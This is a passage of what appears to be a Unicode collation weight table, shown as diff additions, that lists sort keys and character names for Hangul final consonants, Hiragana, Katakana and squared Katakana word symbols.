+316B  ; [.3CFC.0020.0004] # HANGUL LETTER RIEUL-PIEUP-SIOS
+11D4  ; [.3CFD.0020.0002] # HANGUL JONGSEONG RIEUL-PIEUP-HIEUH
+11D5  ; [.3CFE.0020.0002] # HANGUL JONGSEONG RIEUL-KAPYEOUNPIEUP
+11D6  ; [.3CFF.0020.0002] # HANGUL JONGSEONG RIEUL-SSANGSIOS
+11D7  ; [.3D00.0020.0002] # HANGUL JONGSEONG RIEUL-PANSIOS
+316C  ; [.3D00.0020.0004] # HANGUL LETTER RIEUL-PANSIOS
+11D8  ; [.3D01.0020.0002] # HANGUL JONGSEONG RIEUL-KHIEUKH
+11D9  ; [.3D02.0020.0002] # HANGUL JONGSEONG RIEUL-YEORINHIEUH
+316D  ; [.3D02.0020.0004] # HANGUL LETTER RIEUL-YEORINHIEUH
+11DA  ; [.3D03.0020.0002] # HANGUL JONGSEONG MIEUM-KIYEOK
+11DB  ; [.3D04.0020.0002] # HANGUL JONGSEONG MIEUM-RIEUL
+11DC  ; [.3D05.0020.0002] # HANGUL JONGSEONG MIEUM-PIEUP
+11DD  ; [.3D06.0020.0002] # HANGUL JONGSEONG MIEUM-SIOS
+316F  ; [.3D06.0020.0004] # HANGUL LETTER MIEUM-SIOS
+11DE  ; [.3D07.0020.0002] # HANGUL JONGSEONG MIEUM-SSANGSIOS
+11DF  ; [.3D08.0020.0002] # HANGUL JONGSEONG MIEUM-PANSIOS
+3170  ; [.3D08.0020.0004] # HANGUL LETTER MIEUM-PANSIOS
+11E0  ; [.3D09.0020.0002] # HANGUL JONGSEONG MIEUM-CHIEUCH
+11E1  ; [.3D0A.0020.0002] # HANGUL JONGSEONG MIEUM-HIEUH
+11E2  ; [.3D0B.0020.0002] # HANGUL JONGSEONG KAPYEOUNMIEUM
+11E3  ; [.3D0C.0020.0002] # HANGUL JONGSEONG PIEUP-RIEUL
+11E4  ; [.3D0D.0020.0002] # HANGUL JONGSEONG PIEUP-PHIEUPH
+11E5  ; [.3D0E.0020.0002] # HANGUL JONGSEONG PIEUP-HIEUH
+11E6  ; [.3D0F.0020.0002] # HANGUL JONGSEONG KAPYEOUNPIEUP
+11E7  ; [.3D10.0020.0002] # HANGUL JONGSEONG SIOS-KIYEOK
+11E8  ; [.3D11.0020.0002] # HANGUL JONGSEONG SIOS-TIKEUT
+11E9  ; [.3D12.0020.0002] # HANGUL JONGSEONG SIOS-RIEUL
+11EA  ; [.3D13.0020.0002] # HANGUL JONGSEONG SIOS-PIEUP
+11EB  ; [.3D14.0020.0002] # HANGUL JONGSEONG PANSIOS
+11EC  ; [.3D15.0020.0002] # HANGUL JONGSEONG IEUNG-KIYEOK
+11ED  ; [.3D16.0020.0002] # HANGUL JONGSEONG IEUNG-SSANGKIYEOK
+11EE  ; [.3D17.0020.0002] # HANGUL JONGSEONG SSANGIEUNG
+11EF  ; [.3D18.0020.0002] # HANGUL JONGSEONG IEUNG-KHIEUKH
+11F0  ; [.3D19.0020.0002] # HANGUL JONGSEONG YESIEUNG
+11F1  ; [.3D1A.0020.0002] # HANGUL JONGSEONG YESIEUNG-SIOS
+3182  ; [.3D1A.0020.0004] # HANGUL LETTER YESIEUNG-SIOS
+11F2  ; [.3D1B.0020.0002] # HANGUL JONGSEONG YESIEUNG-PANSIOS
+3183  ; [.3D1B.0020.0004] # HANGUL LETTER YESIEUNG-PANSIOS
+11F3  ; [.3D1C.0020.0002] # HANGUL JONGSEONG PHIEUPH-PIEUP
+11F4  ; [.3D1D.0020.0002] # HANGUL JONGSEONG KAPYEOUNPHIEUPH
+11F5  ; [.3D1E.0020.0002] # HANGUL JONGSEONG HIEUH-NIEUN
+11F6  ; [.3D1F.0020.0002] # HANGUL JONGSEONG HIEUH-RIEUL
+11F7  ; [.3D20.0020.0002] # HANGUL JONGSEONG HIEUH-MIEUM
+11F8  ; [.3D21.0020.0002] # HANGUL JONGSEONG HIEUH-PIEUP
+11F9  ; [.3D22.0020.0002] # HANGUL JONGSEONG YEORINHIEUH
+11FA  ; [.3D23.0020.0002] # HANGUL JONGSEONG KIYEOK-NIEUN
+11FB  ; [.3D24.0020.0002] # HANGUL JONGSEONG KIYEOK-PIEUP
+11FC  ; [.3D25.0020.0002] # HANGUL JONGSEONG KIYEOK-CHIEUCH
+11FD  ; [.3D26.0020.0002] # HANGUL JONGSEONG KIYEOK-KHIEUKH
+11FE  ; [.3D27.0020.0002] # HANGUL JONGSEONG KIYEOK-HIEUH
+11FF  ; [.3D28.0020.0002] # HANGUL JONGSEONG SSANGNIEUN
+D7CB  ; [.3D29.0020.0002] # HANGUL JONGSEONG NIEUN-RIEUL
+D7CC  ; [.3D2A.0020.0002] # HANGUL JONGSEONG NIEUN-CHIEUCH
+D7CD  ; [.3D2B.0020.0002] # HANGUL JONGSEONG SSANGTIKEUT
+D7CE  ; [.3D2C.0020.0002] # HANGUL JONGSEONG SSANGTIKEUT-PIEUP
+D7CF  ; [.3D2D.0020.0002] # HANGUL JONGSEONG TIKEUT-PIEUP
+D7D0  ; [.3D2E.0020.0002] # HANGUL JONGSEONG TIKEUT-SIOS
+D7D1  ; [.3D2F.0020.0002] # HANGUL JONGSEONG TIKEUT-SIOS-KIYEOK
+D7D2  ; [.3D30.0020.0002] # HANGUL JONGSEONG TIKEUT-CIEUC
+D7D3  ; [.3D31.0020.0002] # HANGUL JONGSEONG TIKEUT-CHIEUCH
+D7D4  ; [.3D32.0020.0002] # HANGUL JONGSEONG TIKEUT-THIEUTH
+D7D5  ; [.3D33.0020.0002] # HANGUL JONGSEONG RIEUL-SSANGKIYEOK
+D7D6  ; [.3D34.0020.0002] # HANGUL JONGSEONG RIEUL-KIYEOK-HIEUH
+D7D7  ; [.3D35.0020.0002] # HANGUL JONGSEONG SSANGRIEUL-KHIEUKH
+D7D8  ; [.3D36.0020.0002] # HANGUL JONGSEONG RIEUL-MIEUM-HIEUH
+D7D9  ; [.3D37.0020.0002] # HANGUL JONGSEONG RIEUL-PIEUP-TIKEUT
+D7DA  ; [.3D38.0020.0002] # HANGUL JONGSEONG RIEUL-PIEUP-PHIEUPH
+D7DB  ; [.3D39.0020.0002] # HANGUL JONGSEONG RIEUL-YESIEUNG
+D7DC  ; [.3D3A.0020.0002] # HANGUL JONGSEONG RIEUL-YEORINHIEUH-HIEUH
+D7DD  ; [.3D3B.0020.0002] # HANGUL JONGSEONG KAPYEOUNRIEUL
+D7DE  ; [.3D3C.0020.0002] # HANGUL JONGSEONG MIEUM-NIEUN
+D7DF  ; [.3D3D.0020.0002] # HANGUL JONGSEONG MIEUM-SSANGNIEUN
+D7E0  ; [.3D3E.0020.0002] # HANGUL JONGSEONG SSANGMIEUM
+D7E1  ; [.3D3F.0020.0002] # HANGUL JONGSEONG MIEUM-PIEUP-SIOS
+D7E2  ; [.3D40.0020.0002] # HANGUL JONGSEONG MIEUM-CIEUC
+D7E3  ; [.3D41.0020.0002] # HANGUL JONGSEONG PIEUP-TIKEUT
+D7E4  ; [.3D42.0020.0002] # HANGUL JONGSEONG PIEUP-RIEUL-PHIEUPH
+D7E5  ; [.3D43.0020.0002] # HANGUL JONGSEONG PIEUP-MIEUM
+D7E6  ; [.3D44.0020.0002] # HANGUL JONGSEONG SSANGPIEUP
+D7E7  ; [.3D45.0020.0002] # HANGUL JONGSEONG PIEUP-SIOS-TIKEUT
+D7E8  ; [.3D46.0020.0002] # HANGUL JONGSEONG PIEUP-CIEUC
+D7E9  ; [.3D47.0020.0002] # HANGUL JONGSEONG PIEUP-CHIEUCH
+D7EA  ; [.3D48.0020.0002] # HANGUL JONGSEONG SIOS-MIEUM
+D7EB  ; [.3D49.0020.0002] # HANGUL JONGSEONG SIOS-KAPYEOUNPIEUP
+D7EC  ; [.3D4A.0020.0002] # HANGUL JONGSEONG SSANGSIOS-KIYEOK
+D7ED  ; [.3D4B.0020.0002] # HANGUL JONGSEONG SSANGSIOS-TIKEUT
+D7EE  ; [.3D4C.0020.0002] # HANGUL JONGSEONG SIOS-PANSIOS
+D7EF  ; [.3D4D.0020.0002] # HANGUL JONGSEONG SIOS-CIEUC
+D7F0  ; [.3D4E.0020.0002] # HANGUL JONGSEONG SIOS-CHIEUCH
+D7F1  ; [.3D4F.0020.0002] # HANGUL JONGSEONG SIOS-THIEUTH
+D7F2  ; [.3D50.0020.0002] # HANGUL JONGSEONG SIOS-HIEUH
+D7F3  ; [.3D51.0020.0002] # HANGUL JONGSEONG PANSIOS-PIEUP
+D7F4  ; [.3D52.0020.0002] # HANGUL JONGSEONG PANSIOS-KAPYEOUNPIEUP
+D7F5  ; [.3D53.0020.0002] # HANGUL JONGSEONG YESIEUNG-MIEUM
+D7F6  ; [.3D54.0020.0002] # HANGUL JONGSEONG YESIEUNG-HIEUH
+D7F7  ; [.3D55.0020.0002] # HANGUL JONGSEONG CIEUC-PIEUP
+D7F8  ; [.3D56.0020.0002] # HANGUL JONGSEONG CIEUC-SSANGPIEUP
+D7F9  ; [.3D57.0020.0002] # HANGUL JONGSEONG SSANGCIEUC
+D7FA  ; [.3D58.0020.0002] # HANGUL JONGSEONG PHIEUPH-SIOS
+D7FB  ; [.3D59.0020.0002] # HANGUL JONGSEONG PHIEUPH-THIEUTH
+3041  ; [.3D5A.0020.000D] # HIRAGANA LETTER SMALL A
+3042  ; [.3D5A.0020.000E] # HIRAGANA LETTER A
+30A1  ; [.3D5A.0020.000F] # KATAKANA LETTER SMALL A
+FF67  ; [.3D5A.0020.0010] # HALFWIDTH KATAKANA LETTER SMALL A
+30A2  ; [.3D5A.0020.0011] # KATAKANA LETTER A
+FF71  ; [.3D5A.0020.0012] # HALFWIDTH KATAKANA LETTER A
+32D0  ; [.3D5A.0020.0013] # CIRCLED KATAKANA A
+3303  ; [.3D5A.0020.001C][.1C0E.0020.001C][.3D84.0020.001C] # SQUARE AARU
+3300  ; [.3D5A.0020.001C][.3D74.0020.001C][.0000.0038.001C][.1C0E.0020.001C][.3D6E.0020.001C] # SQUARE APAATO
+3301  ; [.3D5A.0020.001C][.3D84.0020.001C][.3D76.0020.001C][.3D5A.0020.001C] # SQUARE ARUHUA
+3302  ; [.3D5A.0020.001C][.3D8B.0020.001C][.3D77.0020.001C][.0000.0038.001C][.3D5A.0020.001C] # SQUARE ANPEA
+3043  ; [.3D5B.0020.000D] # HIRAGANA LETTER SMALL I
+3044  ; [.3D5B.0020.000E] # HIRAGANA LETTER I
+30A3  ; [.3D5B.0020.000F] # KATAKANA LETTER SMALL I
+FF68  ; [.3D5B.0020.0010] # HALFWIDTH KATAKANA LETTER SMALL I
+30A4  ; [.3D5B.0020.0011] # KATAKANA LETTER I
+FF72  ; [.3D5B.0020.0012] # HALFWIDTH KATAKANA LETTER I
+32D1  ; [.3D5B.0020.0013] # CIRCLED KATAKANA I
+3304  ; [.3D5B.0020.001C][.3D70.0020.001C][.3D8B.0020.001C][.3D62.0020.001C][.0000.0037.001C] # SQUARE ININGU
+3305  ; [.3D5B.0020.001C][.3D8B.0020.001C][.3D6B.0020.001C] # SQUARE INTI
+3045  ; [.3D5C.0020.000D] # HIRAGANA LETTER SMALL U
+3046  ; [.3D5C.0020.000E] # HIRAGANA LETTER U
+30A5  ; [.3D5C.0020.000F] # KATAKANA LETTER SMALL U
+FF69  ; [.3D5C.0020.0010] # HALFWIDTH KATAKANA LETTER SMALL U
+30A6  ; [.3D5C.0020.0011] # KATAKANA LETTER U
+FF73  ; [.3D5C.0020.0012] # HALFWIDTH KATAKANA LETTER U
+32D2  ; [.3D5C.0020.0013] # CIRCLED KATAKANA U
+3094  ; [.3D5C.0020.000E][.0000.0037.0002] # HIRAGANA LETTER VU
+30F4  ; [.3D5C.0020.0011][.0000.0037.0002] # KATAKANA LETTER VU
+3306  ; [.3D5C.0020.001C][.3D5F.0020.001C][.3D8B.0020.001C] # SQUARE UON
+1B000 ; [.3D5D.0020.0011] # KATAKANA LETTER ARCHAIC E
+3047  ; [.3D5E.0020.000D] # HIRAGANA LETTER SMALL E
+3048  ; [.3D5E.0020.000E] # HIRAGANA LETTER E
+30A7  ; [.3D5E.0020.000F] # KATAKANA LETTER SMALL E
+FF6A  ; [.3D5E.0020.0010] # HALFWIDTH KATAKANA LETTER SMALL E
+30A8  ; [.3D5E.0020.0011] # KATAKANA LETTER E
+FF74  ; [.3D5E.0020.0012] # HALFWIDTH KATAKANA LETTER E
+32D3  ; [.3D5E.0020.0013] # CIRCLED KATAKANA E
+3308  ; [.3D5E.0020.001C][.1C0E.0020.001C][.3D60.0020.001C][.1C0E.0020.001C] # SQUARE EEKAA
+3307  ; [.3D5E.0020.001C][.3D67.0020.001C][.3D62.0020.001C][.1C0E.0020.001C][.3D6E.0020.001C][.0000.0037.001C] # SQUARE ESUKUUDO
+3049  ; [.3D5F.0020.000D] # HIRAGANA LETTER SMALL O
+304A  ; [.3D5F.0020.000E] # HIRAGANA LETTER O
+30A9  ; [.3D5F.0020.000F] # KATAKANA LETTER SMALL O
+FF6B  ; [.3D5F.0020.0010] # HALFWIDTH KATAKANA LETTER SMALL O
+30AA  ; [.3D5F.0020.0011] # KATAKANA LETTER O
+FF75  ; [.3D5F.0020.0012] # HALFWIDTH KATAKANA LETTER O
+32D4  ; [.3D5F.0020.0013] # CIRCLED KATAKANA O
+330A  ; [.3D5F.0020.001C][.1C0E.0020.001C][.3D7B.0020.001C] # SQUARE OOMU
+3309  ; [.3D5F.0020.001C][.3D8B.0020.001C][.3D67.0020.001C] # SQUARE ONSU
+3095  ; [.3D60.0020.000D] # HIRAGANA LETTER SMALL KA
+304B  ; [.3D60.0020.000E] # HIRAGANA LETTER KA
+30F5  ; [.3D60.0020.000F] # KATAKANA LETTER SMALL KA
+30AB  ; [.3D60.0020.0011] # KATAKANA LETTER KA
+FF76  ; [.3D60.0020.0012] # HALFWIDTH KATAKANA LETTER KA
+32D5  ; [.3D60.0020.0013] # CIRCLED KATAKANA KA
+304C  ; [.3D60.0020.000E][.0000.0037.0002] # HIRAGANA LETTER GA
+30AC  ; [.3D60.0020.0011][.0000.0037.0002] # KATAKANA LETTER GA
+330B  ; [.3D60.0020.001C][.3D5B.0020.001C][.3D83.0020.001C] # SQUARE KAIRI
+330C  ; [.3D60.0020.001C][.3D82.0020.001C][.3D6C.0020.001C][.3D6E.0020.001C] # SQUARE KARATTO
+330D  ; [.3D60.0020.001C][.3D86.0020.001C][.3D83.0020.001C][.1C0E.0020.001C] # SQUARE KARORII
+330E  ; [.3D60.0020.001C][.0000.0037.001C][.3D86.0020.001C][.3D8B.0020.001C] # SQUARE GARON
+330F  ; [.3D60.0020.001C][.0000.0037.001C][.3D8B.0020.001C][.3D79.0020.001C] # SQUARE GANMA
+304D  ; [.3D61.0020.000E] # HIRAGANA LETTER KI
+30AD  ; [.3D61.0020.0011] # KATAKANA LETTER KI
+FF77  ; [.3D61.0020.0012] # HALFWIDTH KATAKANA LETTER KI
+32D6  ; [.3D61.0020.0013] # CIRCLED KATAKANA KI
+304E  ; [.3D61.0020.000E][.0000.0037.0002] # HIRAGANA LETTER GI
+30AE  ; [.3D61.0020.0011][.0000.0037.0002] # KATAKANA LETTER GI
+3310  ; [.3D61.0020.001C][.0000.0037.001C][.3D60.0020.001C][.0000.0037.001C] # SQUARE GIGA
+3311  ; [.3D61.0020.001C][.0000.0037.001C][.3D70.0020.001C][.1C0E.0020.001C] # SQUARE GINII
+3312  ; [.3D61.0020.001C][.3D7F.0020.001C][.3D83.0020.001C][.1C0E.0020.001C] # SQUARE KYURII
+3313  ; [.3D61.0020.001C][.0000.0037.001C][.3D84.0020.001C][.3D6A.0020.001C][.0000.0037.001C][.1C0E.0020.001C] # SQUARE GIRUDAA
+3314  ; [.3D61.0020.001C][.3D86.0020.001C] # SQUARE KIRO
+3315  ; [.3D61.0020.001C][.3D86.0020.001C][.3D62.0020.001C][.0000.0037.001C][.3D82.0020.001C][.3D7B.0020.001C] # SQUARE KIROGURAMU
+3316  ; [.3D61.0020.001C][.3D86.0020.001C][.3D7C.0020.001C][.1C0E.0020.001C][.3D6E.0020.001C][.3D84.0020.001C] # SQUARE KIROMEETORU
+3317  ; [.3D61.0020.001C][.3D86.0020.001C][.3D87.0020.001C][.3D6C.0020.001C][.3D6E.0020.001C] # SQUARE KIROWATTO
+304F  ; [.3D62.0020.000E] # HIRAGANA LETTER KU
+31F0  ; [.3D62.0020.000F] # KATAKANA LETTER SMALL KU
+30AF  ; [.3D62.0020.0011] # KATAKANA LETTER KU
+FF78  ; [.3D62.0020.0012] # HALFWIDTH KATAKANA LETTER KU
+32D7  ; [.3D62.0020.0013] # CIRCLED KATAKANA KU
+3050  ; [.3D62.0020.000E][.0000.0037.0002] # HIRAGANA LETTER GU
+30B0  ; [.3D62.0020.0011][.0000.0037.0002] # KATAKANA LETTER GU
+3318  ; [.3D62.0020.001C][.0000.0037.001C][.3D82.0020.001C][.3D7B.0020.001C] # SQUARE GURAMU
+3319  ; [.3D62.0020.001C][.0000.0037.001C][.3D82.0020.001C][.3D7B.0020.001C][.3D6E.0020.001C][.3D8B.0020.001C] # SQUARE GURAMUTON
+331A  ; [.3D62.0020.001C][.3D84.0020.001C][.3D68.0020.001C][.0000.0037.001C][.3D5B.0020.001C][.3D86.0020.001C] # SQUARE KURUZEIRO
+331B  ; [.3D62.0020.001C][.3D86.0020.001C][.1C0E.0020.001C][.3D72.0020.001C] # SQUARE KUROONE
+3096  ; [.3D63.0020.000D] # HIRAGANA LETTER SMALL KE
+3051  ; [.3D63.0020.000E] # HIRAGANA LETTER KE
+30F6  ; [.3D63.0020.000F] # KATAKANA LETTER SMALL KE
+30B1  ; [.3D63.0020.0011] # KATAKANA LETTER KE
+FF79  ; [.3D63.0020.0012] # HALFWIDTH KATAKANA LETTER KE
+32D8  ; [.3D63.0020.0013] # CIRCLED KATAKANA KE
+3052  ; [.3D63.0020.000E][.0000.0037.0002] # HIRAGANA LETTER GE
+30B2  ; [.3D63.0020.0011][.0000.0037.0002] # KATAKANA LETTER GE
+331C  ; [.3D63.0020.001C][.1C0E.0020.001C][.3D67.0020.001C] # SQUARE KEESU
+3053  ; [.3D64.0020.000E] # HIRAGANA LETTER KO
+30B3  ; [.3D64.0020.0011] # KATAKANA LETTER KO
+FF7A  ; [.3D64.0020.0012] # HALFWIDTH KATAKANA LETTER KO
+32D9  ; [.3D64.0020.0013] # CIRCLED KATAKANA KO
+3054  ; [.3D64.0020.000E][.0000.0037.0002] # HIRAGANA LETTER GO
+30B4  ; [.3D64.0020.0011][.0000.0037.0002] # KATAKANA LETTER GO
+331E  ; [.3D64.0020.001C][.1C0E.0020.001C][.3D78.0020.001C][.0000.0038.001C] # SQUARE KOOPO
+1F201 ; [.3D64.0020.001C][.3D64.0020.001C] # SQUARED KATAKANA KOKO
+30FF  ; [.3D64.0020.0016][.3D6E.0020.0016] # KATAKANA DIGRAPH KOTO
+331D  ; [.3D64.0020.001C][.3D84.0020.001C][.3D6F.0020.001C] # SQUARE KORUNA
+3055  ; [.3D65.0020.000E] # HIRAGANA LETTER SA
+30B5  ; [.3D65.0020.0011] # KATAKANA LETTER SA
+FF7B  ; [.3D65.0020.0012] # HALFWIDTH KATAKANA LETTER SA
+32DA  ; [.3D65.0020.0013] # CIRCLED KATAKANA SA
+1F202 ; [.3D65.0020.001C] # SQUARED KATAKANA SA
+3056  ; [.3D65.0020.000E][.0000.0037.0002] # HIRAGANA LETTER ZA
+30B6  ; [.3D65.0020.0011][.0000.0037.0002] # KATAKANA LETTER ZA
+331F  ; [.3D65.0020.001C][.3D5B.0020.001C][.3D62.0020.001C][.3D84.0020.001C] # SQUARE SAIKURU
+3320  ; [.3D65.0020.001C][.3D8B.0020.001C][.3D6B.0020.001C][.1C0E.0020.001C][.3D7B.0020.001C] # SQUARE SANTIIMU
+3057  ; [.3D66.0020.000E] # HIRAGANA LETTER SI
+31F1  ; [.3D66.0020.000F] # KATAKANA LETTER SMALL SI
+30B7  ; [.3D66.0020.0011] # KATAKANA LETTER SI
+FF7C  ; [.3D66.0020.0012] # HALFWIDTH KATAKANA LETTER SI
+32DB  ; [.3D66.0020.0013] # CIRCLED KATAKANA SI
+3058  ; [.3D66.0020.000E][.0000.0037.0002] # HIRAGANA LETTER ZI
+30B8  ; [.3D66.0020.0011][.0000.0037.0002] # KATAKANA LETTER ZI
+3006  ; [.3D66.0020.0004][.3D7C.0020.0004] # IDEOGRAPHIC CLOSING MARK
+3321  ; [.3D66.0020.001C][.3D83.0020.001C][.3D8B.0020.001C][.3D62.0020.001C][.0000.0037.001C] # SQUARE SIRINGU
+3059  ; [.3D67.0020.000E] # HIRAGANA LETTER SU
+31F2  ; [.3D67.0020.000F] # KATAKANA LETTER SMALL SU
+30B9  ; [.3D67.0020.0011] # KATAKANA LETTER SU
+FF7D  ; [.3D67.0020.0012] # HALFWIDTH KATAKANA LETTER SU
+32DC  ; [.3D67.0020.0013] # CIRCLED KATAKANA SU
+305A  ; [.3D67.0020.000E][.0000.0037.0002] # HIRAGANA LETTER ZU
+30BA  ; [.3D67.0020.0011][.0000.0037.0002] # KATAKANA LETTER ZU
+305B  ; [.3D68.0020.000E] # HIRAGANA LETTER SE
+30BB  ; [.3D68.0020.0011] # KATAKANA LETTER SE
+FF7E  ; [.3D68.0020.0012] # HALFWIDTH KATAKANA LETTER SE
+32DD  ; [.3D68.0020.0013] # CIRCLED KATAKANA SE
+305C  ; [.3D68.0020.000E][.0000.0037.0002] # HIRAGANA LETTER ZE
+30BC  ; [.3D68.0020.0011][.0000.0037.0002] # KATAKANA LETTER ZE
+3322  ; [.3D68.0020.001C][.3D8B.0020.001C][.3D6B.0020.001C] # SQUARE SENTI
+3323  ; [.3D68.0020.001C][.3D8B.0020.001C][.3D6E.0020.001C] # SQUARE SENTO
+305D  ; [.3D69.0020.000E] # HIRAGANA LETTER SO
+30BD  ; [.3D69.0020.0011] # KATAKANA LETTER SO
+FF7F  ; [.3D69.0020.0012] # HALFWIDTH KATAKANA LETTER SO
+32DE  ; [.3D69.0020.0013] # CIRCLED KATAKANA SO
+305E  ; [.3D69.0020.000E][.0000.0037.0002] # HIRAGANA LETTER ZO
+30BE  ; [.3D69.0020.0011][.0000.0037.0002] # KATAKANA LETTER ZO
+305F  ; [.3D6A.0020.000E] # HIRAGANA LETTER TA
+30BF  ; [.3D6A.0020.0011] # KATAKANA LETTER TA
+FF80  ; [.3D6A.0020.0012] # HALFWIDTH KATAKANA LETTER TA
+32DF  ; [.3D6A.0020.0013] # CIRCLED KATAKANA TA
+3060  ; [.3D6A.0020.000E][.0000.0037.0002] # HIRAGANA LETTER DA
+30C0  ; [.3D6A.0020.0011][.0000.0037.0002] # KATAKANA LETTER DA
+3324  ; [.3D6A.0020.001C][.0000.0037.001C][.1C0E.0020.001C][.3D67.0020.001C] # SQUARE DAASU
+3061  ; [.3D6B.0020.000E] # HIRAGANA LETTER TI
+30C1  ; [.3D6B.0020.0011] # KATAKANA LETTER TI
+FF81  ; [.3D6B.0020.0012] # HALFWIDTH KATAKANA LETTER TI
+32E0  ; [.3D6B.0020.0013] # CIRCLED KATAKANA TI
+3062  ; [.3D6B.0020.000E][.0000.0037.0002] # HIRAGANA LETTER DI
+30C2  ; [.3D6B.0020.0011][.0000.0037.0002] # KATAKANA LETTER DI
+3063  ; [.3D6C.0020.000D] # HIRAGANA LETTER SMALL TU
+3064  ; [.3D6C.0020.000E] # HIRAGANA LETTER TU
+30C3  ; [.3D6C.0020.000F] # KATAKANA LETTER SMALL TU
+FF6F  ; [.3D6C.0020.0010] # HALFWIDTH KATAKANA LETTER SMALL TU
+30C4  ; [.3D6C.0020.0011] # KATAKANA LETTER TU
+FF82  ; [.3D6C.0020.0012] # HALFWIDTH KATAKANA LETTER TU
+32E1  ; [.3D6C.0020.0013] # CIRCLED KATAKANA TU
+3065  ; [.3D6C.0020.000E][.0000.0037.0002] # HIRAGANA LETTER DU
+30C5  ; [.3D6C.0020.0011][.0000.0037.0002] # KATAKANA LETTER DU
+3066  ; [.3D6D.0020.000E] # HIRAGANA LETTER TE
+30C6  ; [.3D6D.0020.0011] # KATAKANA LETTER TE
+FF83  ; [.3D6D.0020.0012] # HALFWIDTH KATAKANA LETTER TE
+32E2  ; [.3D6D.0020.0013] # CIRCLED KATAKANA TE
+3067  ; [.3D6D.0020.000E][.0000.0037.0002] # HIRAGANA LETTER DE
+30C7  ; [.3D6D.0020.0011][.0000.0037.0002] # KATAKANA LETTER DE
+1F213 ; [.3D6D.0020.001C][.0000.0037.001C] # SQUARED KATAKANA DE
+3325  ; [.3D6D.0020.001C][.0000.0037.001C][.3D66.0020.001C] # SQUARE DESI
+3068  ; [.3D6E.0020.000E] # HIRAGANA LETTER TO
+31F3  ; [.3D6E.0020.000F] # KATAKANA LETTER SMALL TO
+30C8  ; [.3D6E.0020.0011] # KATAKANA LETTER TO
+FF84  ; [.3D6E.0020.0012] # HALFWIDTH KATAKANA LETTER TO
+32E3  ; [.3D6E.0020.0013] # CIRCLED KATAKANA TO
+3069  ; [.3D6E.0020.000E][.0000.0037.0002] # HIRAGANA LETTER DO
+30C9  ; [.3D6E.0020.0011][.0000.0037.0002] # KATAKANA LETTER DO
+3326  ; [.3D6E.0020.001C][.0000.0037.001C][.3D84.0020.001C] # SQUARE DORU
+3327  ; [.3D6E.0020.001C][.3D8B.0020.001C] # SQUARE TON
+306A  ; [.3D6F.0020.000E] # HIRAGANA LETTER NA
+30CA  ; [.3D6F.0020.0011] # KATAKANA LETTER NA
+FF85  ; [.3D6F.0020.0012] # HALFWIDTH KATAKANA LETTER NA
+32E4  ; [.3D6F.0020.0013] # CIRCLED KATAKANA NA
+3328  ; [.3D6F.0020.001C][.3D73.0020.001C] # SQUARE NANO
+306B  ; [.3D70.0020.000E] # HIRAGANA LETTER NI
+30CB  ; [.3D70.0020.0011] # KATAKANA LETTER NI
+FF86  ; [.3D70.0020.0012] # HALFWIDTH KATAKANA LETTER NI
+32E5  ; [.3D70.0020.0013] # CIRCLED KATAKANA NI
+306C  ; [.3D71.0020.000E] # HIRAGANA LETTER NU
+31F4  ; [.3D71.0020.000F] # KATAKANA LETTER SMALL NU
+30CC  ; [.3D71.0020.0011] # KATAKANA LETTER NU
+FF87  ; [.3D71.0020.0012] # HALFWIDTH KATAKANA LETTER NU
+32E6  ; [.3D71.0020.0013] # CIRCLED KATAKANA NU
+306D  ; [.3D72.0020.000E] # HIRAGANA LETTER NE
+30CD  ; [.3D72.0020.0011] # KATAKANA LETTER NE
+FF88  ; [.3D72.0020.0012] # HALFWIDTH KATAKANA LETTER NE
+32E7  ; [.3D72.0020.0013] # CIRCLED KATAKANA NE
+306E  ; [.3D73.0020.000E] # HIRAGANA LETTER NO
+30CE  ; [.3D73.0020.0011] # KATAKANA LETTER NO
+FF89  ; [.3D73.0020.0012] # HALFWIDTH KATAKANA LETTER NO
+32E8  ; [.3D73.0020.0013] # CIRCLED KATAKANA NO
+3329  ; [.3D73.0020.001C][.3D6C.0020.001C][.3D6E.0020.001C] # SQUARE NOTTO
+306F  ; [.3D74.0020.000E] # HIRAGANA LETTER HA
+31F5  ; [.3D74.0020.000F] # KATAKANA LETTER SMALL HA
+30CF  ; [.3D74.0020.0011] # KATAKANA LETTER HA
+FF8A  ; [.3D74.0020.0012] # HALFWIDTH KATAKANA LETTER HA
+32E9  ; [.3D74.0020.0013] # CIRCLED KATAKANA HA
+3070  ; [.3D74.0020.000E][.0000.0037.0002] # HIRAGANA LETTER BA
+30D0  ; [.3D74.0020.0011][.0000.0037.0002] # KATAKANA LETTER BA
+3071  ; [.3D74.0020.000E][.0000.0038.0002] # HIRAGANA LETTER PA
+30D1  ; [.3D74.0020.0011][.0000.0038.0002] # KATAKANA LETTER PA
+332B  ; [.3D74.0020.001C][.0000.0038.001C][.1C0E.0020.001C][.3D68.0020.001C][.3D8B.0020.001C][.3D6E.0020.001C] # SQUARE PAASENTO
+332C  ; [.3D74.0020.001C][.0000.0038.001C][.1C0E.0020.001C][.3D6C.0020.001C] # SQUARE PAATU
+332D  ; [.3D74.0020.001C][.0000.0037.001C][.1C0E.0020.001C][.3D85.0020.001C][.3D84.0020.001C] # SQUARE BAARERU
+332A  ; [.3D74.0020.001C][.3D5B.0020.001C][.3D6C.0020.001C] # SQUARE HAITU
+3072  ; [.3D75.0020.000E] # HIRAGANA LETTER HI
+31F6  ; [.3D75.0020.000F] # KATAKANA LETTER SMALL HI
+30D2  ; [.3D75.0020.0011] # KATAKANA LETTER HI
+FF8B  ; [.3D75.0020.0012] # HALFWIDTH KATAKANA LETTER HI
+32EA  ; [.3D75.0020.0013] # CIRCLED KATAKANA HI
+3073  ; [.3D75.0020.000E][.0000.0037.0002] # HIRAGANA LETTER BI
+30D3  ; [.3D75.0020.0011][.0000.0037.0002] # KATAKANA LETTER BI
+3074  ; [.3D75.0020.000E][.0000.0038.0002] # HIRAGANA LETTER PI
+30D4  ; [.3D75.0020.0011][.0000.0038.0002] # KATAKANA LETTER PI
+332E  ; [.3D75.0020.001C][.0000.0038.001C][.3D5A.0020.001C][.3D67.0020.001C][.3D6E.0020.001C][.3D84.0020.001C] # SQUARE PIASUTORU
+332F  ; [.3D75.0020.001C][.0000.0038.001C][.3D62.0020.001C][.3D84.0020.001C] # SQUARE PIKURU
+3330  ; [.3D75.0020.001C][.0000.0038.001C][.3D64.0020.001C] # SQUARE PIKO
+3331  ; [.3D75.0020.001C][.0000.0037.001C][.3D84.0020.001C] # SQUARE BIRU
+3075  ; [.3D76.0020.000E] # HIRAGANA LETTER HU
+31F7  ; [.3D76.0020.000F] # KATAKANA LETTER SMALL HU
+30D5  ; [.3D76.0020.0011] # KATAKANA LETTER HU
+FF8C  ; [.3D76.0020.0012] # HALFWIDTH KATAKANA LETTER HU
